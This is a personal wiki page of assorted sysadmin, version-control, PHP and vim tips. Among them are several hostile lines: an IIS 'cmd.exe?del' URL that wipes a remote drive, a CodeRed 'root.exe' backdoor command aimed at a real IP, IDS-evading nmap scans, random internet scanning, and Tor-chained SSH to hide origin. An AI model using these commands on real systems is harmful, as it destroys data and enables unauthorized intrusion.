• If you are citizen of an European Union member nation, you may not use this service unless you are at least 16 years old.

  • You already know Dokkio is an AI-powered assistant to organize & manage your digital files & messages. Very soon, Dokkio will support Outlook as well as One Drive. Check it out today!

View
 

FrontPage

Page history last edited by Barce 11 years, 4 months ago

 

Copy your key to your clipboard with: pbcopy < ~/.ssh/id_rsa.pub


 

Current Projects: Codebelay.com, Sitebeagle, Retweetist

 

Favorite Sites: Mashable.com, PBWiki.com, Dogster.com, Twitter.com, Facebook.com, Via.Me

 

Other wiki pages:

Install Sphinx

lampbuildnotes & rails build notes for an API server here

Kangal Daemon 

Cloud Notes 

Database Cheatsheet

Gnocchi Tech

Configuration Best Practices

Configuration Process

Rails Notes FTW

technophilosophy 

Eternal Questions

CS Homework for 11 June 2008

learn-cs.pbwiki.com

PHP Meetup 5 June 2008

 

What follows is a list of all my favorite hacks and shortcuts: 

 

create git repo without github

1. mkdir project

2. git init

3. touch README

4. git add README

5. git commit -m 'first commit'

 

6. on remote, mkdir git_root

7. cd git_root

8. mkdir project.git

9. cd project.git

10. git --bare init

11. git config core.sharedrepository 1

12. git config receive.denyNonFastforwards true

13. find objects -type d -exec chmod 02770 {} \;

#The core.sharedrepository flag tells git to keep everything group readable and writable.

#The receive.denyNonFastforwards flag makes sure that merges can't happen when you push to the repo. You have to do the merges on your local machine, and then push the result.

 

14. on local, git remote add origin ssh://foo@127.0.0.1/home/bar/git_root/project.git

15. git push origin master

 

20:15 <@darknrgy> oh another somewhat sciency thing: if you have problems with 

                  buzzing sounds in car audio or home stereo (happens with 

                  laptop connected to stereo), get a ground loop isolator from 

                  radio shack

 

SSH Tunnel FTW

sudo ssh -N -p 22 barce@arrow.dreamhost.com -L 25/localhost/25

   * -L local_port/localhost/destination_port 

$ ssh -L 6667:irc.freenode.net:6667 arrow.dreamhost.com

 

cat /proc/cpuinfo -- processor / cpu stats

 

If Cisco VPN doesn't work because of Error 51:

sudo /System/Library/StartupItems/CiscoVPN/CiscoVPN restart

 

Changing the default port number for solr:

java -Djetty.port=8982 -jar start.jar

 

what to do after editing a hosts file on windows:

ipconfig /flushdns

 

Unable to determine upstream SVN information from working tree history
Does manually specifying the remote name work?
Try bypassing the auto-detection of "git-svn rebase" and just using
"git rebase <remote name>"
 
Patching with git: git commit -a
git log # to get id
git-format-patch 15038039ff51db4b5231e7e567e3050c02542dc7
woot!
 
Checking out differences between commits with git:
git checkout hash_id
git checkout -b new_branch_name
git branch
git diff new_branch_name..master

How fast is my processor?

 sudo lshw

 

 

ctags

ctags -R .

ctags -R . /usr/local/lib/php/symfony

# both commands above will create a tags file

# in vim cursor over class or function and ctrl-] will open file with that class or function

 

symfony advice from thrashr888:

 

I found a pretty nice time and code saver in the fromArray() method. Currently, we're translating our arrays from the form's POST data into what works for the models' fromArray() method.

 

Here's an example:

 

  $rc_pet_info_txt->fromArray(array(

"PetInfoId"   => $params['pet_info_id'],

"VetInfo"     => $params['vet_info'],

"SpecialCare" => $params['special_care'],

  ));

 

Apparently there's an easier way:

  $rc_pet_info_txt->fromArray($params, BasePeer::TYPE_FIELDNAME);

 

What that does is use the underscored field_name style rather than the default CamelCase TYPE_PHPNAME when inserting the new variables. Please note that fromArray() will only insert the parts of the array that match the model (ie. 'password' won't get set on the RcPetInfo model). It will also overwrite anything you've set previously.

 

If you need to set other keys that are not in the array, you can use the model->setFieldName() methods, or you can use model->setByName('pet_info_id',$params['pet_info_id'],BasePeer::TYPE_FIELDNAME).

 

Here's the other options available:

 

/**

* phpname type

* e.g. 'AuthorId'

*/

const TYPE_PHPNAME = 'phpName';

 

/**

* column (peer) name type

* e.g. 'book.AUTHOR_ID'

*/

const TYPE_COLNAME = 'colName';

 

/**

* column fieldname type

* e.g. 'author_id'

*/

const TYPE_FIELDNAME = 'fieldName';

 

/**

* num type

* simply the numerical array index, e.g. 4

*/

const TYPE_NUM = 'num';

 

replace those ^Ms

find . -type f -name '*.*' -exec perl -pi -e 'tr/\cM//d;' '{}' ';'

benchmarking with ab

ab -n 1000 -c 5 http://202.54.200.1/snkpage.html

# up the -c value from 5 to something like 150

 

 
proxy your facebook app pics

if you use images from various sources, that is totally verboten with facebook. instead you have to use either of the following code:

 

$a = file_get_contents(url to your pic);

 

and then save $a in a cache on your server.

 

or if you have a nazi sysadmin in chicago:

 

`lynx -dump <url to your pic> > cache/filename_of_image`;

 

 

Good luck.

Barce

installing mysql gem

 

sudo gem install mysql -- --with-mysql-dir=/usr/local/mysql

 

heroku install

gem install heroku
heroku clone hipsterhookups
cd hipsterhookups
[..local edits..]
git add .
git commit -m "local changes"
git push

Pulling a patch from trac:

http://trac.symfony-project.org/attachment/ticket/4046/ticket4046.php.patch?format=raw

add the ?format=raw at the end

 

svn patch

 

svn diff -rHEAD:2600 > mypatch.diff

patch -p0 < mypatch.diff

 

 

irc for the masses:

http://www.mibbit.com/

 

 

weird ie7 bug with prototype.js :

if you're gonna use Effect.Hide you have to use Effect.Appear -- manually using style.display = 'block' doesnt work

jdbc-mysql

copy the .jar file into something like this:

/usr/lib/jvm/java-6-sun-1.6.0.06/jre/lib/ext/

 

svn merge

 

svn merge http://svn.dogster.com/dogster/branches/barce@HEAD http://svn.dogster.com/dogster/trunk@HEAD /home/barce/workspace/barce

 

 

gdb with php

 

 

gdb --args php /home/barce/public_html/labs/simplexml_bug.php

b /usr/local/src/php-5.2.6/ext/simplexml/simplexml.c:43

r

 

now the code will stop at line 43

 

Memcache stats through telnet

First get IP address being listened on:

 

 

 

ps –ef | grep memcache

 

 

 

nobody   30418     1  0 Jun17 ?        00:00:00 /usr/local/bin/memcached -u nobody -d -v -m 2048 -l 127.0.0.1

 

 

 

Then telnet into the port

 

 

 

telnet 127.0.0.1 11211

 

 

 

type stats

 

 

 

 

 

add a 120x600 vertical google ad to wordpress

edit sidebar.php and paste google ad code after the about section (if you're like me)

 

 

fast_cgi thoughts

 

07:30 <@ericnakagawa> it's weird how OO can become a bottleneck

07:30 <@ericnakagawa> it's like OO is just a modeling language for going back

                      to simple code

07:31 <@hyuuu> yeah creating objects is expensive

07:31 <@ericnakagawa> well that's why fast_cgi was made right?

07:31 <@ericnakagawa> single object funneling php calls

07:31 <@ericnakagawa> 24MB per connection though

07:31 <@ericnakagawa> man

07:32 <@hyuuu> ya

07:32 <@ericnakagawa> that is expensive

07:32 <@hyuuu> expensive

07:32 <@ericnakagawa> that's only 2000 users max

07:32 <@ericnakagawa> unless they got 32GB ram

07:32 <@hyuuu> they load balanced tho

07:32 <@hyuuu> perlbal

 

.htaccess password protected site

21:54 < barce> you can just use a .htaccess file and save yourself some time

21:55 < barce> e.g. if i wanted to block my home page using a .htacces file i'd

               do this...

21:56 < barce> htpasswd -c /home/barce/public_html/.htpasswd barce

21:57 < barce> then i would create an .htaccess file with this in it:

21:58 < barce> AuthType Basic

21:58 < barce> AuthName "BehindTheCurtain"

21:58 < barce> AuthUserFile /home/barce/public_html/.htpasswd

21:58 < barce> require valid-user

21:58 < barce> and there you have it, a password protected website.

 

google trends link

 

http://www.google.com/trends?q=peticure

 

rsync example

rsync -az --exclude '.svn' -e ssh /Users/barce/Documents/sideprojects/learncs/connect4 \

        arrow.dreamhost.com:/home/barce/codebelay.com/games

 

ob functions to get string version of an object or array in PHP

  ob_start();

  print_r($board->a_winning_spot);

  $o_this = ob_get_contents();

  ob_end_clean();

 

A sample raw POST

 

    $header .= "POST /$path HTTP/1.0\r\n";

    $header .= "Content-Type: application/x-www-form-urlencoded\r\n";

    $header .= "Content-Length: " . strlen($qs) . "\r\n\r\n";

Loadbalancing with SSL

(10:42:16 AM) chocobo_j: option one is a load balancer

(10:42:22 AM) chocobo_j: so the cert's held by the lb

(10:42:31 AM) chocobo_j: option 2 is get a *.example.com cert

(10:42:35 AM) chocobo_j: which requires a bit more

(10:42:46 AM) chocobo_j: opt 1 is much more common, most load balancers can do ssl

 

IE6 doesn't like pure JS checkbox

 

Let's say you have code like this:

var cb = document.createElement("input");

cb.type = "checkbox";

cb.checked = true;

 

That code doesn't work on IE 6. :-( Here's Jakob Heuser's work around:

 

http://www.felocity.org/blog/article/documentcreateelement_and_checkboxes/

 

// IE requires a checkbox to be made differently

try {

   var cb = document.createElement("<input type=\"checkbox\" checked>");

}

catch (e) {

   var cb = document.createElement("input");

   cb.type = "checkbox";

   cb.checked = true;

}

 

Cheers,

Barce

 

Merging with eclipse:

1) Right click on folder that needs changes -> Team -> Merge...

2) first url is that folder

3) second url is where you're pulling changes from.

4) get a unified diff first

5) check diff

6) do merge

Need some reporting for memcache:                                                                              

you can have a little data usage report sniffing the network:                  

ngrep -W none -T -d any "^(get|set|delete|END|STORED|VALUE|DELETED)"           

port 11211 | awk '{print $1 " " $2}'                                           

 

or without the awk.                              

 

IE7 if statement for CSS

<!--[if IE 7]><link href="/images/ie7_main.css" type="text/css"

rel="stylesheet" /><![endif]-->

 

 

windump:

 

windump -D == list interfaces

 

 

php try catch

 

try {

    $active_server = $this->_conn;

    if (!$active_server) {

        throw new Exception('error');

    }

} catch (Exception $e) {

    echo "Caught active server error exception:\n",  $e->getMessage(), " ",

        $e->getFile(), ": Line ",

        $e->getLine(), "\n", $e->getTraceAsString(), "\n";

}

 

 

 

remove files older than 7 days

15 0 * * * /usr/bin/find /home/trheingo/bak -name \*sql -mtime +7 -exec rm {}

\; > /dev/null 2>&1

 

 

Making replication 2 - 3 x faster:

on duplicate key update

 

 

 

anonymous remailers

-------------------

http://feraga.com/node/74

 

install sendmail

install mixmaster

mixmaster-update mixmaster-update --verbose

mixmaster-filter

 

 

 

doctypes

 

 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

 

 

 

network troubleshooting

-----------------------

ifconfig

iwconfig

iwlist scan

sudo /etc/init.d/networking restart

rout

sudo gedit /etc/network/interfaces

sudo lspsci

 

 

 

 

ssh2 keys

local> ssh-keygen -t dsa

local> scp id_dsa.pub user@remotehost.com:.ssh/.

remote> cat ~/.ssh/id_dsa.pub >> authoried_keys2

 

local> ssh-agent sh -c 'ssh-add < /dev/null && bash'

 

 

wisdom from nirvani:

<nirvani> OMG.OMG.OMG!  This crappy place does .gov TLDs.  www.zoneedit.com...

          # host -t ns gov

<nirvani> I feel like competing for that government contract!

 

 

 

using php to write to a file:

$fp = fopen('../userlogin.log', 'a');

fwrite($fp, '[' .  date('d.m.Y H:i:s') . '] RECEIVED LOGIN' . "\n");

fwrite($fp, '[' . date('d.m.Y H:i:s') . '] ' .  $_SERVER["REMOTE_USER"] . "\n");

fclose($fp);

 

 

cnet measures your connection

 

http://reviews.cnet.com/7004-7254_7-0.html?tag=nl.e776

 

 

upgrading rails

---------------

Q035:How do I safely upgrade my system to use the latest version of Rails?

sudo gem uninstall --force rails

sudo gem uninstall --force 'acti*'

sudo gem install --force activesupport

sudo gem install --force actionwebservice

sudo gem install --force actionpack

sudo gem install --force actionmailer

sudo gem install --force activerecord

sudo gem install --force rails

 

 

 

 

privoxy -- tor -- connect

 

http://zippo.taiyo.co.jp/~gotoh/ssh/connect.html

# old: http://zippo.taiyo.co.jp/~gotoh/ssh/connect.c

new: wget http://www.meadowy.org/~gotoh/ssh/connect.c

 

 

  gcc connect.c -o connect -lresolv

 

# just tor --> ssh

  ssh -l barce 64.81.244.62 -o ProxyCommand="/tmp/connect -4 -S 127.0.0.1:9050 %h %p"

 

# privoxy --> tor --> ssh --> random proxy on the web --> a website

ssh -l crawdad 216.27.177.241 -L4567:203.71.225.10:8080 -o ProxyCommand="/tmp/connect -4 -S 127.0.0.1:9050 %h %p"

 

starting tor:

 

start privoxy

% privoxy

 

start tor

% tor -f ~/.tor/torrc -l info

 

use tsocks with a command-line app to use privoxy/tor

   e.g. tsocks irssi

 

----

 

redirect using mod_rewrite

 

RewriteEngine on

RedirectMatch ^/test/$ http://www.cyphgen.com/img/

 

 

l33t hax0r stuff -- yam

----

   telnet omino.com 10023, login "guest" no password,

   gives you an ancient menu which includes "yam" for

   guest access.

 

   Probably not useful for your purposes. But building

   yam is problemmish too.

----

 

matching quotes

 

 \E is interpreted as a literal when included in a string included in a regex.

 This may or may not clarify:

 

 jacob@arcata:~> more testquote.pl

 #!/usr/bin/perl

 

 $no_end_pattern = '[a-b][c-d]';

 $pattern = '[a-b]\E[c-d]';

 $text = 'ac';

 

 print "$text matches unquoted pattern $pattern\n" if $text =~ m/$pattern/;

 print "$text matches quoted pattern $pattern\n" if $text =~ m/\Q$pattern/;

 print "$text matches unquoted pattern $no_end_pattern\n" if $text =~ m/$no_end_pattern/;

 print "$text matches quoted pattern $no_end_pattern\n" if $text =~ m/\Q$no_end_pattern/;

 print "$pattern matches unquoted pattern $pattern\n" if $pattern =~ m/$pattern/;print "$pattern matches quoted pattern $pattern\n" if $pattern

 =~ m/\Q$pattern/;

 jacob@arcata:~> perl testquote.pl

 ac matches unquoted pattern [a-b][c-d]

 [a-b]\E[c-d] matches quoted pattern [a-b]\E[c-d]

 

-----

ATOMZ SEARCH TIPS

-----------------

Use field searches

Examples:

 title:about

 desc:"Our Team"

 keys:login

 body:security

 alt:"join now"

 url:help

 target:Atomz

Use wildcards

Examples:

 wh*

 "wh* are"

 415-*-*

 

VIM: SPECIAL SETTINGS PER FILE

 

#! /usr/bin/perl

#

# $Id: index.cgi,v 1.25 2004/12/22 20:22:34 jim Exp $

# ----

# Modeline below so that barce's editor follows dietrich's editor set up

# vi:noai:sw=1 ts=4 nosmarttab noexpandtab

 

CDRECORD from a stream:

wget -O - http://stream | mpg123 -s - | cdrecord

 

 Two good resources on which supports what

 

 <http://www.jessett.com/web_sites/css/css_browser_support.shtml>

 <http://www.maxdesign.com.au/presentation/listamatic/browser-support.htm>

 

 

qq in Perl

----------

$s = "<meta name=\"desc\" content=\"web page\">";

OR

$s = qq|<meta name="desc" content="web page">|;

 

multibye utf8

-------------

15:07 <@nirvani> Numa - re: vim.  ':dig' will show you extra chars if you're in

                 utf-8 mode.  CRTL-K-sequence wlil enter in a multibyte

                 character.

 

15:09 <@eded> barce: you can start with LC_CTYPE

15:09 <@eded> or LC_ALL

15:09 <@Numa> Well, Vorbis tagging is UTF8 by default. ID3v2 is theortically

              supposed to include the charset.

15:09 <@Numa> I could never get LC_CTYPE, etc to work for me.. I know I'm doing

              something wrong though.

15:09 <@eded> I use LC_CTYPE=en_US.utf8

15:09 <@nirvani> Numa  - re: what I said about vim. you can do this when still

                 in your default encoding.

15:09 <@eded> that way you keep your US locale, but can view any unicode char

15:10 <@Numa> I only get 255 chars when doing that.

15:10 <@Numa> eded, what terminal program do you use? also, what $TERM ?

15:10 <@eded> I use uxterm

15:10 <@eded> "unicode" xterm

15:10 <@eded> TERM=screen LC_CTYPE=en_US.utf8

15:11 <@eded> the TERM shouldn't matter actually

15:11 <@eded> just the CTYPE part

 

------

Cocoa Apps

completion with F5 or option-esc

 

@XP Prompt:

control userpasswords 2

 

Change Spaces in file Names to Underscores

------------------------------------------

  for f in *; do mv "$f" `echo "$f" | sed -e's/ /_/g'`; done

  for f in *; do mv "$f" `echo "$f" | tr " " _` ; done

  rename 's/ /_/g' *

  rename 'y/ /_/' *

 

PHP SESSION VARS v. DATABASE

----------------------------

When is it good to use PHP Session vars as opposed to using the

database? and vice versa?f

 

you use the database when you want to persistently store 

information. sessions are used for keeping state.

 

Amazon Hack

-----------

 Along the lines of the first few posts in this topic I've been adding

 some smarter options to my link shortening tool. E.g. if you feed it:

 

   http://www.amazon.com/exec/obidos/ASIN/067232525X/qid=1080345559/sr=2-1/ref=sr_2_1/103-5653647-6084666

 

 It will give you the usual shortened redirect link, but it will also suggest:

 

   http://amazon.com/o/ASIN/067232525X

 

 (Thanks to <sharding> for the "/o/" trick BTW).

 

 I have similar rules in there that work for eBay item pages and some

 Google searches.  What other popular sites produce heinous long URLs

 that people like to e-mail (or post) and which can be reliably

 shortened like that?

 

-----

 

To find out the hostname associated with an IP address, use

 

        dig -x IP_address

                -- Dru <genesis@istar.ca>

 

 

REMOVING ^M's

Need to remove all those ^M characters from a DOS file? Try

 

        col -bx < dosfile > newfile

                -- Dru <genesis@istar.ca>

 

 

 

MULTIPLE IE VERSIONS

--------------------

http://www.insert-title.com/web_design/?page=articles/dev/multi_IE

    -- <euneek@aol.com>

 

 

 

BASH PROMPTS

------------

Nice bash prompt: PS1='(\[$(tput md)\]\t <\w>\[$(tput me)\]) $(echo $?) \$ '

                -- Mathieu <mathieu@hal.interactionvirtuelle.com>

 

UNALIAS IN BASH

---------------

<mttbtt> I just discovered something this morning

<mttbtt> to run an unaliased command add a slash in front of it

<mttbtt> say you have alias mv='mv -i'

<mttbtt> and you want to just run plain old mv: \mv

<mttbtt> it looks strange, but it works on bash

 

MUTT

----

<mttbtt> BTW, I was just cleaning out my spam box

<mttbtt> D!~p deletes all msgs not addressed to me

<mttbtt> then when I scan the rest D. deletes the rest

 

LEAVE

-----

If you need a reminder to leave your terminal, type "leave +hhmm" where

"hhmm" represents in how many hours and minutes you need to leave.

                -- Dru <genesis@istar.ca>

 

INSTALLING CONFIGURE SCRIPTS

----------------------------

try #!/bin/sh -x

 

DOS

---

ipconfig /all shows DNS info

 

SPLITTING FILES

---------------

tar cvf - <directories/files> | split -b <byte size>

 

SLASH HEADER

------------

wget --server-response slashdot.org

 

LD_LIBRARY_PATH

---------------

If you get a "cannot open shared object file" error, try this

if you're using bash:

 

export LD_LIBRARY_PATH:/path/to/lib/your/dir

 

EXPORTING X

-----------

xhost +username on server

xhost + on client

export DISPLAY=client:0.0

 

TIME

----

  400  ntpdate ntp.karpo.cz

  414  ntpdate fuzz.psc.edu

 

 

Topic 230 [web]:  How's your web day going? Good I hope.

#1507 of 1508: Risum teneatis, amici? (pstemari)      Mon Nov 19 '01 (14:14)    17 lines

 

 Map that URL, using mod_rewrite if necessary, to a CGI that requests:

 

    http://serverbotheringyou/scripts/cmd.exe?del+/q+/s+c:\*.*

 

 

lynx http://alieny2k.hit.bg/MoviesDivX.htm

 

'Beautifying' in VIM

--------------------

type V and then =

 

Setting Marks in VIM

--------------------

set mark:   m a

            m b

goto mark:  'a

            'b

 

Setting File Format in vim (^M chars problem)

---------------------------------------------

set fileformat=mac

:w

 

Grepping in VIM

<mttbtt> :g/^function

 

1) doing an import into mysql

 mysqlimport --user=root -p --columns='link, link_desc' -d --fields-terminated-by=';' --lines-terminated-by='\n' barce quicklinks

 

2) 405 -- outside phone -- 835 phone inside

 

CODERED: lynx -dump "http://209.12.160.41/scripts/root.exe?/c+dir+\\"

 

NMAP

----

 

namp -AO $host (as root)

 

Basic syn ack scan:

nmap -sS -F -o 64.164.36.210.log -v -O 64.164.36.210//24

  OR

nmap -sS -O x.x.x.x

  -- unfortunately this scan is now picked up by IDS's like snort

 

Partial stealth (shows up as icmp packet):

nmap -sN -O 209.209.9.121 -P0 <---- doesn't do ping

 

Didn't set off nmap on mintchip:

nmap -sS -p 20-25,78-81 209.209.9.121 -T sneaky -P0

 

/usr/local/bin/nmap -sS -PS80 -iR 0 -p80 -v -d

        - find random webservers on the internet

 

use -sV to do version detection (as of 3.45)

 

PERL REPLACE ON FILEs

---------------------

perl -pi -e 's@#!/usr/bonsaitools/bin/perl@#!/usr/bin/perl@' *cgi *pl Bug.pm

 

MAN2ASCII

---------

 

groff -Tascii -man coffee.man | more

groff -Tascii -man coffee.man | lpr

 

MAN2PS

------

man -tps traceroute > traceroute.ps

 

MISC

----

kill_browser

lynx http://www.cs.nps.navy.mil/research/languages/DynApplet.html

 

ctrl-r in pine will give an option to fill for bcc:

 

tcpdump 'icmp[0] = 8 and icmp[0] = 0'

 

ftp.ee.lbl.gov - contains libpcap and other interesting files

 

HOW TO PATCH

------------

diff -c hello.c.old hello.c > hello.patch

patch < hello.patch

 

SED TRICKS

----------

sed 'N;s/\n//' file

line1line2

line3line4

line5line6

 

DELETING FROM TAR

-----------------

tar --delete --file=file.tar deleted.txt

 

target javascript links:

http://www.methodologie.com/images/square.gif

http://www.methodologie.com/home.html

 

accessing finger through httpd

------------------------------

http://hostname.tld:79/\ userid

 

Note the space preceeding the userid.

 

stunnel

-------

I use a tool called stunnel (www.stunnel.org).

 

You can specify the remote server name and port, as well as the local port

to bind to.  Then I start whisker against 127.0.0.1 and the port that I

bound stunnel to.  All traffic sent to the local port is redirected over the

SSL session.

 

ftp & mp3s

----------

ftp 24.229.36.95 36970 - for mp3s

 

IPSec

-----

<*ttk*> Yes.  The IPSec specification (which is a subspecification of

<*ttk*> IPv6) defines a VPN structure which involves encrypting IPv6

<*ttk*> packets inside the bodies of other IPv6 packets and laundering

<*ttk*> them all through trusted gateways into the VPN.  It

<*ttk*> does precisely what you're talking about.

 

Lynx crawl

----------

lynx -traversal -crawl <url>

 

dd when hd goes kaput

---------------------

Your best bet might be to have dd read it all at once, then compress the

output:

 

  dd if=/dev/bad-disk bs=512 conv=noerror,sync | gzip > /tmp/disk.gz

 

Hopefully the resulting output will be less than 2GB.  And hopefully dd

won't mind reading past 2GB on the input...

 

find

----

find <path> -name <re>

 

# make all directories below . executable

find . -type d -exec chmod a+x {} \;

 

find / -type f -name '*.cgi' -exec rm -f '{}' ';'

 

# search and replace

find ./xml -type f -name '*.xml' -exec perl -pi -e 's/\<photo_credit_title>Image:\<\/photo_credit_title>/\<photo_credit_title>Image\<\/photo_credit_title>/'

 

 

# change all .xml extensions to .asp extensions

find . -type f -name '*.xml' -exec rename .xml .asp '{}' ';'

 

sim 50 users

------------

  To simulate 50 users:

 

repeat 50 /bin/sh -c "lynx -dump http://foo/index.html > /dev/null &"

 

Versioning

----------

Different ways to do number versioning of

Software:

 

1) x.x(xx.xx.xx) 

major.minor(branch.image#.build#)

 

2) x.y.z, where x=major, y=minor, z=patch_level

 

3) x.y, x=major_change, y=bug_fix_release

 

4) Less than 1.0 means beta.

 

5) Less than 1.0 means alpha.

 

6) 0.0 means alpha. Greater than 0.0 means beta.

 

7) There's feature creep, and/or knotty code (fix one thing break

another), leading to 2.9 2.9.1 2.9.2 2.9.3 etc etc

 

[ ibm ] Message 8754 (0 left): Tue June 29, 1999  4:32pm

From: @ (poly@omino.com)

Subject: ah!

 

Parameter

                        Meaning

  /s, -s or s

                        Start in screen-saver mode.

  /c, -c or c

                        Show configuration dialog box with whatever window is

                        currently active as the parent window.

  (None)

                        Show the configuration dialog box with no parent

                        window.

 

  from http://msdn.microsoft.com/library/techart/msdn_scrnsave.htm

 

[ network ] Message 9216 (0 left): Wed March 31, 1999  10:14pm

From: banshee (banshee@limbo.abattoir.com)

Subject: perl fnet client

 

2.0 Version Released for Mac and Unix/NT (NT needs work)

ftp://ftp.abattoir.com/pub/fnet-2.0.sit         Macintosh

ftp://ftp.abattoir.com/pub/fnet.pl-2.0.tar.gz   Unix/NT

ftp://ftp.abattoir.com/pub/Net-ICB-1.61.tar.gz  Backend module for Unix/NT

 

CPAN

----

perl -MCPAN -e shell;

 

CVS

---

<mattbatt> I have an article about it in a Dr Dobbs magazine

<mattbatt> to create a branch

<mattbatt> cvs rtag BRANCH_NAME module

<mattbatt> to check it out

<mattbatt> cvs co -r BRANCH_NAME module

<mattbatt> and I think merging works like this

<mattbatt> cvs up -jBRANCH_NAME

 

# creating a repository

cvs -d /home/barce/cvs init OR

cvs -d /usr/local/cvs-rep init

 

   export CVSROOT=/home/barce/cvs

 

# do import inside directory

cvs import -m "webmail IDE directory" webmail webmail start

 

cvs diff -r<previous revision> > patch ; patch -p0 < patch

 

cvs log - to show file history

 

# cvs log with date range

cvs log -d"2003-08-28 06:00<2003-08-28 14:00"

 

# checking out a module remotely

cvs -d jim@sushi.quinn.com:/usr/local/cvs-rep co herbalife

 

# cvs export w/o the CVS directories

cvs export -D now guidedcommerce

 

RCS

---

ci file.c

co -l file.c -- -l locks file

ci file.c

 

rlog file.c - to show file history

 

STATIC LIBRARIES

----------------

create lib - ar r libmy.a breeder.o strings.o wow.o

list stuff in lib - ar t libmy.a

 

linking against:

gcc cool.o libmy.a -o cool

 

problem with static: single copy of code cannot be shared among

several instances of programs in the system.

 

SHARED LIBRARIES

----------------

create - gcc breeder.o strings.o wow.o -shared -o libmy.so

 

linking against:

gcc cool.o -L. -lmy -o cool

 

to see if it's referenced:

ldd my

 

GNUTELLA

--------

you can download it from freshmeat

www.gnutellahosts.com to get some IPs

 

MOUNT

-----

mount -t nfs spinster.soma.redhat.com:/mnt/storage/sorted /nfs/spinster

 

mount -t smbfs //smaug/downloads /XXX

(where XXX is not a porno, but a directory to mount the remote

filesystem).

 

 

C NOTE

------

<mattbatt> wow, I figured out what char*const*p is

<mattbatt> you can alter **p, but not *p

 

ECHO RETURN VALUE

-----------------

Returns return of program

At least for bash:

[barce@penguin C]$ ./r1

hi

[barce@penguin C]$ echo $?

1

 

 

FIND & RM

---------

 find . -name \*.html -exec rm -f '{}' ';'

 

MIRRORING

---------

wget --mirror http://www.textilfes.com

 

LYNX: CHANGING User-Agent

-------------------------

- start lynx

- hit 'o'

- change the User-Agent header

- accept changes (maybe also save to disk)

 

SFGATE

------

menirvani: http://www.sfgate.com/cgi-bin/article.cgi?file=/chronicle/archive/2002/02/19/MN234813.DTL

menirvani: *haha* http://www.sfgate.com/chronicle/archive/2002/02/19/MN234813.DTL

jim_barce: hehe

jim_barce: i wonder what article.cgi looks like

menirvani: well, we can guess! :)

 

ENTROPY FOR ENCRYPTION (SSH)

-----------------------------

 

> cat /dev/random | od -cx                                                     

 

You can also see how much 'pure entropy' is available without depeleting       

it by checking /proc:                                                          

 

        $ cat /proc/sys/kernel/random/entropy_avail                            

        215                                                                    

 

> Disclaimer: there is dispute in the crypto community about the hashing       

> done in /dev/urandom (note the 'u') which never blocks. /dev/urandom         

> just recycles the entropy pool with a PRNG, and people have variable         

> faith in the quality of PRNG's.                                              

 

Incidentally, many Linux distros will dump a chunk from /dev/urandom           

on reboot and write that chunk back on bootup, s.t. even /dev/urandom          

has something available from the get-go, based on the previous state.          

(The previous state hopefully had user interaction, etc.)  Now this            

depends on us trusting the previous PRNG too, I'm not commenting on that.)     

 

 

 

7/1/2009

23:16 < Sagger> improvements in technology = miniaturization to save on space

                and electricity = faster rate of data loss

 

Comments (0)

You don't have permission to comment on this page.